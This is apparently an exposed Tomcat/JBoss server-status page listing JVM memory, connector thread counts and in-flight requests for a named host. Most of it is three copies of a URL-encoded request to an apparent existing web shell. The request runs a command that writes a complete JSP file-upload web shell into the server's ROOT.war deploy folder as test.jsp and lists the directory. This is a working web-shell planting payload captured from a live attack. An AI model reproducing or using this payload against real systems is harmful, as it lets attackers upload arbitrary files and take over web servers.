JVM

Free memory: 880.94 MB Total memory: 952.06 MB Max memory: 952.06 MB

http-0.0.0.0-8080

Max threads: 150 Min spare threads: 25 Max spare threads: 75 Current thread count: 25 Current thread busy: 1
Max processing time: 1187 ms Processing time: 647 s Request count: 46636 Error count: 0 Bytes received: 0.00 MB Bytes sent: 1589.79 MB

StageTimeB SentB RecvClientVHostRequest
R??????
R??????
R??????
R??????
R??????
R??????
R??????

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

jk-8009

Max threads: 200 Min spare threads: 25 Max spare threads: 75 Current thread count: 75 Current thread busy: 35
Max processing time: 109246 ms Processing time: 2583 s Request count: 18554 Error count: 10284 Bytes received: 0.00 MB Bytes sent: 448.14 MB

StageTimeB SentB RecvClientVHostRequest
S834868379 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834849736 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834807779 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
